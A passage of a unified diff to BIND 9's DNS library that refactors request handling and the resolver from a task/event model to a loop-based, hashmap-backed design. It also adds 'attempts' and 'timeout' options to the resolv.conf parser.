+req_cleanup(dns_request_t *request) {
+	if (ISC_LINK_LINKED(request, link)) {
+		ISC_LIST_UNLINK(request->requestmgr->requests[request->tid],
+				request, link);
+	}
+	if (request->dispentry != NULL) {
+		dns_dispatch_done(&request->dispentry);
+	}
+	if (request->dispatch != NULL) {
+		dns_dispatch_detach(&request->dispatch);
 	}
-	UNLOCK(&request->requestmgr->locks[request->hash]);
-	isc_event_free(&event);
 }
 
 static void
 req_sendevent(dns_request_t *request, isc_result_t result) {
-	isc_task_t *task;
-
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
+	REQUIRE(!DNS_REQUEST_COMPLETE(request));
 
-	req_log(ISC_LOG_DEBUG(3), "req_sendevent: request %p", request);
+	request->flags |= DNS_REQUEST_F_COMPLETE;
 
-	/*
-	 * Lock held by caller.
-	 */
-	task = request->event->ev_sender;
-	request->event->ev_sender = request;
-	request->event->result = result;
-	isc_task_sendanddetach(&task, (isc_event_t **)&request->event);
+	req_cleanup(request);
+
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p: %s", __func__, request,
+		isc_result_totext(result));
+
+	request->result = result;
+
+	dns_request_ref(request);
+	isc_async_run(request->loop, req_sendevent_cb, request);
 }
 
 static void
 req_destroy(dns_request_t *request) {
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
+	REQUIRE(!ISC_LINK_LINKED(request, link));
+
+	req_log(ISC_LOG_DEBUG(3), "%s: request %p", __func__, request);
 
-	req_log(ISC_LOG_DEBUG(3), "req_destroy: request %p", request);
+	isc_refcount_destroy(&request->references);
+
+	/*
+	 * These should have been cleaned up before the
+	 * completion event was sent.
+	 */
+	INSIST(!ISC_LINK_LINKED(request, link));
+	INSIST(request->dispentry == NULL);
+	INSIST(request->dispatch == NULL);
 
 	request->magic = 0;
 	if (request->query != NULL) {
@@ -1460,18 +986,6 @@ req_destroy(dns_request_t *request) {
 	if (request->answer != NULL) {
 		isc_buffer_free(&request->answer);
 	}
-	if (request->event != NULL) {
-		isc_event_free((isc_event_t **)&request->event);
-	}
-	if (request->dispentry != NULL) {
-		dns_dispatch_removeresponse(&request->dispentry, NULL);
-	}
-	if (request->dispatch != NULL) {
-		dns_dispatch_detach(&request->dispatch);
-	}
-	if (request->timer != NULL) {
-		isc_timer_detach(&request->timer);
-	}
 	if (request->tsig != NULL) {
 		isc_buffer_free(&request->tsig);
 	}
@@ -1479,55 +993,33 @@ req_destroy(dns_request_t *request) {
 		dns_tsigkey_detach(&request->tsigkey);
 	}
 	if (request->requestmgr != NULL) {
-		requestmgr_detach(&request->requestmgr);
+		dns_requestmgr_detach(&request->requestmgr);
 	}
 	isc_mem_putanddetach(&request->mctx, request, sizeof(*request));
 }
 
-/*
- * Stop the current request.  Must be called from the request's task.
- */
-static void
-req_cancel(dns_request_t *request) {
-	isc_socket_t *sock;
-	unsigned int dispattr;
-
+void *
+dns_request_getarg(dns_request_t *request) {
 	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
 
-	req_log(ISC_LOG_DEBUG(3), "req_cancel: request %p", request);
+	return (request->arg);
+}
 
-	/*
-	 * Lock held by caller.
-	 */
-	request->flags |= DNS_REQUEST_F_CANCELED;
-
-	if (request->timer != NULL) {
-		isc_timer_detach(&request->timer);
-	}
-	dispattr = dns_dispatch_getattributes(request->dispatch);
-	sock = NULL;
-	if (DNS_REQUEST_CONNECTING(request) || DNS_REQUEST_SENDING(request)) {
-		if ((dispattr & DNS_DISPATCHATTR_EXCLUSIVE) != 0) {
-			if (request->dispentry != NULL) {
-				sock = dns_dispatch_getentrysocket(
-					request->dispentry);
-			}
-		} else {
-			sock = dns_dispatch_getsocket(request->dispatch);
-		}
-		if (DNS_REQUEST_CONNECTING(request) && sock != NULL) {
-			isc_socket_cancel(sock, NULL, ISC_SOCKCANCEL_CONNECT);
-		}
-		if (DNS_REQUEST_SENDING(request) && sock != NULL) {
-			isc_socket_cancel(sock, NULL, ISC_SOCKCANCEL_SEND);
-		}
-	}
-	if (request->dispentry != NULL) {
-		dns_dispatch_removeresponse(&request->dispentry, NULL);
-	}
-	dns_dispatch_detach(&request->dispatch);
+isc_result_t
+dns_request_getresult(dns_request_t *request) {
+	REQUIRE(VALID_REQUEST(request));
+	REQUIRE(request->tid == isc_tid());
+
+	return (request->result);
 }
 
+#if DNS_REQUEST_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_request, req_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_request, req_destroy);
+#endif
+
 static void
 req_log(int level, const char *fmt, ...) {
 	va_list ap;
diff --git a/lib/irs/resconf.c b/lib/dns/resconf.c
similarity index 91%
rename from lib/irs/resconf.c
rename to lib/dns/resconf.c
index 8aa723c21c..db042798e8 100644
--- a/lib/irs/resconf.c
+++ b/lib/dns/resconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -74,6 +76,13 @@
 #define RESCONFMAXLINELEN     256U /*%< max size of a line */
 #define RESCONFMAXSORTLIST    10U  /*%< max 10 */
 
+#define CHECK(op)                            \
+	do {                                 \
+		result = (op);               \
+		if (result != ISC_R_SUCCESS) \
+			goto cleanup;        \
+	} while (0)
+
 /*!
  * configuration data structure
  */
@@ -87,13 +96,11 @@ struct irs_resconf {
 	isc_mem_t *mctx;
 
 	isc_sockaddrlist_t nameservers;
-	unsigned int numns; /*%< number of configured servers
-			     * */
+	unsigned int numns; /*%< number of configured servers */
 
 	char *domainname;
 	char *search[RESCONFMAXSEARCH];
-	uint8_t searchnxt; /*%< index for next free slot
-			    * */
+	uint8_t searchnxt; /*%< index for next free slot */
 
 	irs_resconf_searchlist_t searchlist;
 
@@ -108,6 +115,10 @@ struct irs_resconf {
 	uint8_t resdebug;
 	/*%< set to n in 'options ndots:n' */
 	uint8_t ndots;
+	/*%< set to n in 'options attempts:n' */
+	uint8_t attempts;
+	/*%< set to n in 'options timeout:n' */
+	uint8_t timeout;
 };
 
 static isc_result_t
@@ -165,8 +176,8 @@ eatwhite(FILE *fp) {
  */
 static int
 getword(FILE *fp, char *buffer, size_t size) {
+	char *p = NULL;
 	int ch;
-	char *p;
 
 	REQUIRE(buffer != NULL);
 	REQUIRE(size > 0U);
@@ -277,10 +288,6 @@ resconf_parsenameserver(irs_resconf_t *conf, FILE *fp) {
 	int cp;
 	isc_result_t result;
 
-	if (conf->numns == RESCONFMAXNAMESERVERS) {
-		return (ISC_R_SUCCESS);
-	}
-
 	cp = getword(fp, word, sizeof(word));
 	if (strlen(word) == 0U) {
 		return (ISC_R_UNEXPECTEDEND); /* Nothing on line. */
@@ -292,6 +299,10 @@ resconf_parsenameserver(irs_resconf_t *conf, FILE *fp) {
 		return (ISC_R_UNEXPECTEDTOKEN); /* Extra junk on line. */
 	}
 
+	if (conf->numns == RESCONFMAXNAMESERVERS) {
+		return (ISC_R_SUCCESS);
+	}
+
 	result = add_server(conf->mctx, word, &conf->nameservers);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
@@ -446,11 +457,26 @@ resconf_parsesortlist(irs_resconf_t *conf, FILE *fp) {
 	return (ISC_R_SUCCESS);
 }
 
+static isc_result_t
+resconf_optionnumber(const char *word, uint8_t *number) {
+	char *p;
+	long n;
+
+	n = strtol(word, &p, 10);
+	if (*p != '\0') { /* Bad string. */
+		return (ISC_R_UNEXPECTEDTOKEN);
+	}
+	if (n < 0 || n > 0xff) { /* Out of range. */
+		return (ISC_R_RANGE);
+	}
+	*number = n;
+	return (ISC_R_SUCCESS);
+}
+
 static isc_result_t
 resconf_parseoption(irs_resconf_t *conf, FILE *fp) {
 	int delim;
-	long ndots;
-	char *p;
+	isc_result_t result = ISC_R_SUCCESS;
 	char word[RESCONFMAXLINELEN];
 
 	delim = getword(fp, word, sizeof(word));
@@ -462,14 +488,11 @@ resconf_parseoption(irs_resconf_t *conf, FILE *fp) {
 		if (strcmp("debug", word) == 0) {
 			conf->resdebug = 1;
 		} else if (strncmp("ndots:", word, 6) == 0) {
-			ndots = strtol(word + 6, &p, 10);
-			if (*p != '\0') { /* Bad string. */
-				return (ISC_R_UNEXPECTEDTOKEN);
-			}
-			if (ndots < 0 || ndots > 0xff) { /* Out of range. */
-				return (ISC_R_RANGE);
-			}
-			conf->ndots = (uint8_t)ndots;
+			CHECK(resconf_optionnumber(word + 6, &conf->ndots));
+		} else if (strncmp("attempts:", word, 9) == 0) {
+			CHECK(resconf_optionnumber(word + 9, &conf->attempts));
+		} else if (strncmp("timeout:", word, 8) == 0) {
+			CHECK(resconf_optionnumber(word + 8, &conf->timeout));
 		}
 
 		if (delim == EOF || delim == '\n') {
@@ -479,7 +502,8 @@ resconf_parseoption(irs_resconf_t *conf, FILE *fp) {
 		}
 	}
 
-	return (ISC_R_SUCCESS);
+cleanup:
+	return (result);
 }
 
 static isc_result_t
@@ -521,6 +545,8 @@ irs_resconf_load(isc_mem_t *mctx, const char *filename, irs_resconf_t **confp) {
 	conf->sortlistnxt = 0;
 	conf->resdebug = 0;
 	conf->ndots = 1;
+	conf->attempts = 3;
+	conf->timeout = 0;
 	for (i = 0; i < RESCONFMAXSEARCH; i++) {
 		conf->search[i] = NULL;
 	}
@@ -669,3 +695,17 @@ irs_resconf_getndots(irs_resconf_t *conf) {
 
 	return ((unsigned int)conf->ndots);
 }
+
+unsigned int
+irs_resconf_getattempts(irs_resconf_t *conf) {
+	REQUIRE(IRS_RESCONF_VALID(conf));
+
+	return ((unsigned int)conf->attempts);
+}
+
+unsigned int
+irs_resconf_gettimeout(irs_resconf_t *conf) {
+	REQUIRE(IRS_RESCONF_VALID(conf));
+
+	return ((unsigned int)conf->timeout);
+}
diff --git a/lib/dns/resolver.c b/lib/dns/resolver.c
index d02e37435a..b3468ec813 100644
--- a/lib/dns/resolver.c
+++ b/lib/dns/resolver.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,18 +17,24 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/ascii.h>
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/counter.h>
+#include <isc/hash.h>
+#include <isc/hashmap.h>
 #include <isc/log.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/loop.h>
+#include <isc/mutex.h>
 #include <isc/random.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/rwlock.h>
 #include <isc/siphash.h>
-#include <isc/socket.h>
 #include <isc/stats.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/tid.h>
+#include <isc/time.h>
 #include <isc/timer.h>
 #include <isc/util.h>
 
@@ -39,11 +47,12 @@
 #include <dns/dnstap.h>
 #include <dns/ds.h>
 #include <dns/edns.h>
-#include <dns/events.h>
 #include <dns/forward.h>
 #include <dns/keytable.h>
 #include <dns/log.h>
 #include <dns/message.h>
+#include <dns/name.h>
+#include <dns/nametree.h>
 #include <dns/ncache.h>
 #include <dns/nsec.h>
 #include <dns/nsec3.h>
@@ -58,11 +67,17 @@
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/rootns.h>
 #include <dns/stats.h>
 #include <dns/tsig.h>
 #include <dns/validator.h>
+#include <dns/zone.h>
+
+/* Detailed logging of fctx attach/detach */
+#ifndef FCTX_TRACE
+#undef FCTX_TRACE
+#endif
+
 #ifdef WANT_QUERYTRACE
 #define RTRACE(m)                                                             \
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,                     \
@@ -115,28 +130,33 @@
 		UNUSED(r); \
 		UNUSED(m); \
 	} while (0)
-#define FCTXTRACE(m)       \
-	do {               \
-		UNUSED(m); \
+#define FCTXTRACE(m)          \
+	do {                  \
+		UNUSED(fctx); \
+		UNUSED(m);    \
 	} while (0)
-#define FCTXTRACE2(m1, m2)  \
-	do {                \
-		UNUSED(m1); \
-		UNUSED(m2); \
+#define FCTXTRACE2(m1, m2)    \
+	do {                  \
+		UNUSED(fctx); \
+		UNUSED(m1);   \
+		UNUSED(m2);   \
 	} while (0)
-#define FCTXTRACE3(m1, res)  \
-	do {                 \
-		UNUSED(m1);  \
-		UNUSED(res); \
+#define FCTXTRACE3(m1, res)   \
+	do {                  \
+		UNUSED(fctx); \
+		UNUSED(m1);   \
+		UNUSED(res);  \
 	} while (0)
 #define FCTXTRACE4(m1, m2, res) \
 	do {                    \
+		UNUSED(fctx);   \
 		UNUSED(m1);     \
 		UNUSED(m2);     \
 		UNUSED(res);    \
 	} while (0)
 #define FCTXTRACE5(m1, m2, v) \
 	do {                  \
+		UNUSED(fctx); \
 		UNUSED(m1);   \
 		UNUSED(m2);   \
 		UNUSED(v);    \
@@ -151,13 +171,11 @@
 	} while (0)
 #endif /* WANT_QUERYTRACE */
 
-#define US_PER_SEC  1000000U
-#define US_PER_MSEC 1000U
 /*
  * The maximum time we will wait for a single query.
  */
 #define MAX_SINGLE_QUERY_TIMEOUT    9000U
-#define MAX_SINGLE_QUERY_TIMEOUT_US (MAX_SINGLE_QUERY_TIMEOUT * US_PER_MSEC)
+#define MAX_SINGLE_QUERY_TIMEOUT_US (MAX_SINGLE_QUERY_TIMEOUT * US_PER_MS)
 
 /*
  * We need to allow a individual query time to complete / timeout.
@@ -191,12 +209,22 @@
  */
 #define NS_FAIL_LIMIT 4
 #define NS_RR_LIMIT   5
+/*
+ * IP address lookups are performed for at most NS_PROCESSING_LIMIT NS RRs in
+ * any NS RRset encountered, to avoid excessive resource use while processing
+ * large delegations.
+ */
+#define NS_PROCESSING_LIMIT 20
+
+STATIC_ASSERT(NS_PROCESSING_LIMIT > NS_RR_LIMIT,
+	      "The maximum number of NS RRs processed for each delegation "
+	      "(NS_PROCESSING_LIMIT) must be larger than the large delegation "
+	      "threshold (NS_RR_LIMIT).");
 
-/* Number of hash buckets for zone counters */
-#ifndef RES_DOMAIN_BUCKETS
-#define RES_DOMAIN_BUCKETS 523
-#endif /* ifndef RES_DOMAIN_BUCKETS */
-#define RES_NOBUCKET 0xffffffff
+/* Hash table for zone counters */
+#ifndef RES_DOMAIN_HASH_BITS
+#define RES_DOMAIN_HASH_BITS 12
+#endif /* ifndef RES_DOMAIN_HASH_BITS */
 
 /*%
  * Maximum EDNS0 input packet size.
@@ -204,34 +232,26 @@
 // OQS updated from 4096 to 8192
 #define RECV_BUFFER_SIZE 8192 /* XXXRTH  Constant. */
 
-/*%
- * Default EDNS0 buffer size
- */
-#define DEFAULT_EDNS_BUFSIZE 1232
-
 /*%
  * This defines the maximum number of timeouts we will permit before we
  * disable EDNS0 on the query.
  */
 #define MAX_EDNS0_TIMEOUTS 3
 
-#define DNS_RESOLVER_BADCACHESIZE 1021
 #define DNS_RESOLVER_BADCACHETTL(fctx) \
 	(((fctx)->res->lame_ttl > 30) ? (fctx)->res->lame_ttl : 30)
 
 typedef struct fetchctx fetchctx_t;
 
 typedef struct query {
-	/* Locked by task event serialization. */
+	/* Locked by loop event serialization. */
 	unsigned int magic;
+	isc_refcount_t references;
 	fetchctx_t *fctx;
 	dns_message_t *rmessage;
-	isc_mem_t *mctx;
 	dns_dispatchmgr_t *dispatchmgr;
 	dns_dispatch_t *dispatch;
-	bool exclusivesocket;
 	dns_adbaddrinfo_t *addrinfo;
-	isc_socket_t *tcpsocket;
 	isc_time_t start;
 	dns_messageid_t id;
 	dns_dispentry_t *dispentry;
@@ -239,17 +259,25 @@ typedef struct query {
 	isc_buffer_t buffer;
 	isc_buffer_t *tsig;
 	dns_tsigkey_t *tsigkey;
-	isc_socketevent_t sendevent;
-	isc_dscp_t dscp;
 	int ednsversion;
 	unsigned int options;
-	isc_sockeventattr_t attributes;
-	unsigned int sends;
-	unsigned int connects;
+	unsigned int attributes;
 	unsigned int udpsize;
 	unsigned char data[512];
 } resquery_t;
 
+#if DNS_RESOLVER_TRACE
+#define resquery_ref(ptr)   resquery__ref(ptr, __func__, __FILE__, __LINE__)
+#define resquery_unref(ptr) resquery__unref(ptr, __func__, __FILE__, __LINE__)
+#define resquery_attach(ptr, ptrp) \
+	resquery__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define resquery_detach(ptrp) \
+	resquery__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(resquery);
+#else
+ISC_REFCOUNT_DECL(resquery);
+#endif
+
 struct tried {
 	isc_sockaddr_t addr;
 	unsigned int count;
@@ -266,10 +294,9 @@ struct tried {
 #define RESQUERY_SENDING(q)    ((q)->sends > 0)
 
 typedef enum {
-	fetchstate_init = 0, /*%< Start event has not run yet. */
 	fetchstate_active,
 	fetchstate_done /*%< FETCHDONE events posted. */
-} fetchstate;
+} fetchstate_t;
 
 typedef enum {
 	badns_unreachable = 0,
@@ -278,44 +305,84 @@ typedef enum {
 	badns_forwarder,
 } badnstype_t;
 
+typedef struct fctxkey fctxkey_t;
+struct fctxkey {
+	size_t size;
+	union {
+		struct {
+			unsigned int options; /* 32 bits */
+			dns_rdatatype_t type; /* 16 bits */
+			uint8_t name[DNS_NAME_MAXWIRE];
+		};
+		char key[sizeof(unsigned int) + sizeof(dns_rdatatype_t) +
+			 DNS_NAME_MAXWIRE];
+	};
+} __attribute__((__packed__));
+
+#define FCTXCOUNT_MAGIC		 ISC_MAGIC('F', 'C', 'n', 't')
+#define VALID_FCTXCOUNT(counter) ISC_MAGIC_VALID(counter, FCTXCOUNT_MAGIC)
+
+typedef struct fctxcount fctxcount_t;
+struct fctxcount {
+	unsigned int magic;
+	isc_mem_t *mctx;
+	isc_mutex_t lock;
+	dns_fixedname_t dfname;
+	dns_name_t *domain;
+	uint_fast32_t count;
+	uint_fast32_t allowed;
+	uint_fast32_t dropped;
+	isc_stdtime_t logged;
+};
+
 struct fetchctx {
 	/*% Not locked. */
 	unsigned int magic;
 	dns_resolver_t *res;
-	dns_name_t name;
+	dns_fixedname_t fname;
+	dns_name_t *name;
 	dns_rdatatype_t type;
 	unsigned int options;
-	unsigned int bucketnum;
-	unsigned int dbucketnum;
+	fctxkey_t key;
+	fctxcount_t *counter;
 	char *info;
 	isc_mem_t *mctx;
 	isc_stdtime_t now;
 
+	isc_loop_t *loop;
+	unsigned int tid;
+
 	/* Atomic */
 	isc_refcount_t references;
 
-	/*% Locked by appropriate bucket lock. */
-	fetchstate state;
-	bool want_shutdown;
+	/*% Locked by lock. */
+	isc_mutex_t lock;
+	fetchstate_t state;
+	bool hashed;
 	bool cloned;
 	bool spilled;
-	isc_event_t control_event;
 	ISC_LINK(struct fetchctx) link;
-	ISC_LIST(dns_fetchevent_t) events;
+	ISC_LIST(dns_fetchresponse_t) resps;
 
-	/*% Locked by task event serialization. */
-	dns_name_t domain;
+	/*% Locked by loop event serialization. */
+	dns_fixedname_t dfname;
+	dns_name_t *domain;
 	dns_rdataset_t nameservers;
 	atomic_uint_fast32_t attributes;
 	isc_timer_t *timer;
-	isc_timer_t *timer_try_stale;
 	isc_time_t expires;
 	isc_time_t expires_try_stale;
+	isc_time_t next_timeout;
 	isc_interval_t interval;
 	dns_message_t *qmessage;
 	ISC_LIST(resquery_t) queries;
 	dns_adbfindlist_t finds;
 	dns_adbfind_t *find;
+	/*
+	 * altfinds are names and/or addresses of dual stack servers that
+	 * should be used when iterative resolution to a server is not
+	 * possible because the address family of that server is not usable.
+	 */
 	dns_adbfindlist_t altfinds;
 	dns_adbfind_t *altfind;
 	dns_adbaddrinfolist_t forwaddrs;
@@ -337,16 +404,20 @@ struct fetchctx {
 	isc_result_t qmin_warning;
 	bool ip6arpaskip;
 	bool forwarding;
-	dns_name_t qminname;
+	dns_fixedname_t qminfname;
+	dns_name_t *qminname;
 	dns_rdatatype_t qmintype;
 	dns_fetch_t *qminfetch;
 	dns_rdataset_t qminrrset;
-	dns_name_t qmindcname;
+	dns_fixedname_t qmindcfname;
+	dns_name_t *qmindcname;
+	dns_fixedname_t fwdfname;
+	dns_name_t *fwdname;
 
 	/*%
 	 * The number of events we're waiting for.
 	 */
-	unsigned int pending; /* Bucket lock. */
+	atomic_uint_fast32_t pending;
 
 	/*%
 	 * The number of times we've "restarted" the current
@@ -368,14 +439,16 @@ struct fetchctx {
 	/*%
 	 * Look aside state for DS lookups.
 	 */
-	dns_name_t nsname;
+	dns_fixedname_t nsfname;
+	dns_name_t *nsname;
+
 	dns_fetch_t *nsfetch;
 	dns_rdataset_t nsrrset;
 
 	/*%
 	 * Number of queries that reference this context.
 	 */
-	unsigned int nqueries; /* Bucket lock. */
+	atomic_uint_fast32_t nqueries; /* Bucket lock. */
 
 	/*%
 	 * Random numbers to use for mixing up server addresses.
@@ -386,9 +459,8 @@ struct fetchctx {
 	/*%
 	 * Fetch-local statistics for detailed logging.
 	 */
-	isc_result_t result;  /*%< fetch result  */
-	isc_result_t vresult; /*%< validation result  */
-	int exitline;
+	isc_result_t result;  /*%< fetch result */
+	isc_result_t vresult; /*%< validation result */
 	isc_time_t start;
 	uint64_t duration;
 	bool logged;
@@ -410,15 +482,14 @@ struct fetchctx {
 #define FCTX_MAGIC	 ISC_MAGIC('F', '!', '!', '!')
 #define VALID_FCTX(fctx) ISC_MAGIC_VALID(fctx, FCTX_MAGIC)
 
-#define FCTX_ATTR_HAVEANSWER   0x0001
-#define FCTX_ATTR_GLUING       0x0002
-#define FCTX_ATTR_ADDRWAIT     0x0004
-#define FCTX_ATTR_SHUTTINGDOWN 0x0008 /* Bucket lock */
-#define FCTX_ATTR_WANTCACHE    0x0010
-#define FCTX_ATTR_WANTNCACHE   0x0020
-#define FCTX_ATTR_NEEDEDNS0    0x0040
-#define FCTX_ATTR_TRIEDFIND    0x0080
-#define FCTX_ATTR_TRIEDALT     0x0100
+#define FCTX_ATTR_HAVEANSWER 0x0001
+#define FCTX_ATTR_GLUING     0x0002
+#define FCTX_ATTR_ADDRWAIT   0x0004
+#define FCTX_ATTR_WANTCACHE  0x0010
+#define FCTX_ATTR_WANTNCACHE 0x0020
+#define FCTX_ATTR_NEEDEDNS0  0x0040
+#define FCTX_ATTR_TRIEDFIND  0x0080
+#define FCTX_ATTR_TRIEDALT   0x0100
 
 #define HAVE_ANSWER(f) \
 	((atomic_load_acquire(&(f)->attributes) & FCTX_ATTR_HAVEANSWER) != 0)
@@ -426,8 +497,7 @@ struct fetchctx {
 	((atomic_load_acquire(&(f)->attributes) & FCTX_ATTR_GLUING) != 0)
 #define ADDRWAIT(f) \
 	((atomic_load_acquire(&(f)->attributes) & FCTX_ATTR_ADDRWAIT) != 0)
-#define SHUTTINGDOWN(f) \
-	((atomic_load_acquire(&(f)->attributes) & FCTX_ATTR_SHUTTINGDOWN) != 0)
+#define SHUTTINGDOWN(f) ((f)->state == fetchstate_done)
 #define WANTCACHE(f) \
 	((atomic_load_acquire(&(f)->attributes) & FCTX_ATTR_WANTCACHE) != 0)
 #define WANTNCACHE(f) \
@@ -445,43 +515,18 @@ struct fetchctx {
 typedef struct {
 	dns_adbaddrinfo_t *addrinfo;
 	fetchctx_t *fctx;
-	dns_message_t *message;
 } dns_valarg_t;
 
 struct dns_fetch {
 	unsigned int magic;
 	isc_mem_t *mctx;
+	dns_resolver_t *res;
 	fetchctx_t *private;
 };
 
 #define DNS_FETCH_MAGIC	       ISC_MAGIC('F', 't', 'c', 'h')
 #define DNS_FETCH_VALID(fetch) ISC_MAGIC_VALID(fetch, DNS_FETCH_MAGIC)
 
-typedef struct fctxbucket {
-	isc_task_t *task;
-	isc_mutex_t lock;
-	ISC_LIST(fetchctx_t) fctxs;
-	atomic_bool exiting;
-	isc_mem_t *mctx;
-} fctxbucket_t;
-
-typedef struct fctxcount fctxcount_t;
-struct fctxcount {
-	dns_fixedname_t fdname;
-	dns_name_t *domain;
-	uint32_t count;
-	uint32_t allowed;
-	uint32_t dropped;
-	isc_stdtime_t logged;
-	ISC_LINK(fctxcount_t) link;
-};
-
-typedef struct zonebucket {
-	isc_mutex_t lock;
-	isc_mem_t *mctx;
-	ISC_LIST(fctxcount_t) list;
-} zonebucket_t;
-
 typedef struct alternate {
 	bool isaddress;
 	union {
@@ -501,34 +546,26 @@ struct dns_resolver {
 	isc_mutex_t lock;
 	isc_mutex_t primelock;
 	dns_rdataclass_t rdclass;
-	isc_socketmgr_t *socketmgr;
-	isc_timermgr_t *timermgr;
-	isc_taskmgr_t *taskmgr;
+	isc_loopmgr_t *loopmgr;
+	isc_nm_t *nm;
 	dns_view_t *view;
 	bool frozen;
 	unsigned int options;
-	dns_dispatchmgr_t *dispatchmgr;
+	isc_tlsctx_cache_t *tlsctx_cache;
 	dns_dispatchset_t *dispatches4;
-	bool exclusivev4;
 	dns_dispatchset_t *dispatches6;
-	isc_dscp_t querydscp4;
-	isc_dscp_t querydscp6;
-	bool exclusivev6;
-	unsigned int nbuckets;
-	fctxbucket_t *buckets;
-	zonebucket_t *dbuckets;
+
+	isc_hashmap_t *fctxs;
+	isc_rwlock_t fctxs_lock;
+
+	isc_hashmap_t *counters;
+	isc_rwlock_t counters_lock;
+
 	uint32_t lame_ttl;
 	ISC_LIST(alternate_t) alternates;
-	uint16_t udpsize;
-#if USE_ALGLOCK
-	isc_rwlock_t alglock;
-#endif /* if USE_ALGLOCK */
-	dns_rbt_t *algorithms;
-	dns_rbt_t *digests;
-#if USE_MBSLOCK
-	isc_rwlock_t mbslock;
-#endif /* if USE_MBSLOCK */
-	dns_rbt_t *mustbesecure;
+	dns_nametree_t *algorithms;
+	dns_nametree_t *digests;
+	dns_nametree_t *mustbesecure;
 	unsigned int spillatmax;
 	unsigned int spillatmin;
 	isc_timer_t *spillattimer;
@@ -537,6 +574,8 @@ struct dns_resolver {
 	unsigned int maxdepth;
 	unsigned int maxqueries;
 	isc_result_t quotaresp[2];
+	isc_stats_t *stats;
+	dns_stats_t *querystats;
 
 	/* Additions for serve-stale feature. */
 	unsigned int retryinterval; /* in milliseconds */
@@ -549,8 +588,6 @@ struct dns_resolver {
 	atomic_bool priming;
 
 	/* Locked by lock. */
-	isc_eventlist_t whenshutdown;
-	unsigned int activebuckets;
 	unsigned int spillat; /* clients-per-query */
 
 	dns_badcache_t *badcache; /* Bad cache. */
@@ -566,30 +603,28 @@ struct dns_resolver {
 #define VALID_RESOLVER(res) ISC_MAGIC_VALID(res, RES_MAGIC)
 
 /*%
- * Private addrinfo flags.  These must not conflict with DNS_FETCHOPT_NOEDNS0
- * (0x008) which we also use as an addrinfo flag.
+ * Private addrinfo flags.
  */
-#define FCTX_ADDRINFO_MARK	0x00001
-#define FCTX_ADDRINFO_FORWARDER 0x01000
-#define FCTX_ADDRINFO_EDNSOK	0x04000
-#define FCTX_ADDRINFO_NOCOOKIE	0x08000
-#define FCTX_ADDRINFO_BADCOOKIE 0x10000
+enum {
+	FCTX_ADDRINFO_MARK = 1 << 0,
+	FCTX_ADDRINFO_FORWARDER = 1 << 1,
+	FCTX_ADDRINFO_EDNSOK = 1 << 2,
+	FCTX_ADDRINFO_NOCOOKIE = 1 << 3,
+	FCTX_ADDRINFO_BADCOOKIE = 1 << 4,
+	FCTX_ADDRINFO_DUALSTACK = 1 << 5,
+	FCTX_ADDRINFO_NOEDNS0 = 1 << 6,
+};
 
 #define UNMARKED(a)    (((a)->flags & FCTX_ADDRINFO_MARK) == 0)
 #define ISFORWARDER(a) (((a)->flags & FCTX_ADDRINFO_FORWARDER) != 0)
 #define NOCOOKIE(a)    (((a)->flags & FCTX_ADDRINFO_NOCOOKIE) != 0)
 #define EDNSOK(a)      (((a)->flags & FCTX_ADDRINFO_EDNSOK) != 0)
 #define BADCOOKIE(a)   (((a)->flags & FCTX_ADDRINFO_BADCOOKIE) != 0)
+#define ISDUALSTACK(a) (((a)->flags & FCTX_ADDRINFO_DUALSTACK) != 0)
 
 #define NXDOMAIN(r) (((r)->attributes & DNS_RDATASETATTR_NXDOMAIN) != 0)
 #define NEGATIVE(r) (((r)->attributes & DNS_RDATASETATTR_NEGATIVE) != 0)
 
-#define NXDOMAIN_RESULT(r) \
-	((r) == DNS_R_NXDOMAIN || (r) == DNS_R_NCACHENXDOMAIN)
-#define NXRRSET_RESULT(r)                                      \
-	((r) == DNS_R_NCACHENXRRSET || (r) == DNS_R_NXRRSET || \
-	 (r) == DNS_R_HINTNXRRSET)
-
 #ifdef ENABLE_AFL
 bool dns_fuzzing_resolver = false;
 void
@@ -603,50 +638,75 @@ static unsigned char ip6_arpa_offsets[] = { 0, 4, 9 };
 static const dns_name_t ip6_arpa = DNS_NAME_INITABSOLUTE(ip6_arpa_data,
 							 ip6_arpa_offsets);
 
-static unsigned char underscore_data[] = "\001_";
-static unsigned char underscore_offsets[] = { 0 };
-static const dns_name_t underscore_name =
-	DNS_NAME_INITNONABSOLUTE(underscore_data, underscore_offsets);
-
 static void
-destroy(dns_resolver_t *res);
-static void
-empty_bucket(dns_resolver_t *res);
+dns_resolver__destroy(dns_resolver_t *res);
 static isc_result_t
 resquery_send(resquery_t *query);
 static void
-resquery_response(isc_task_t *task, isc_event_t *event);
+resquery_response(isc_result_t eresult, isc_region_t *region, void *arg);
 static void
-resquery_connected(isc_task_t *task, isc_event_t *event);
+resquery_connected(isc_result_t eresult, isc_region_t *region, void *arg);
 static void
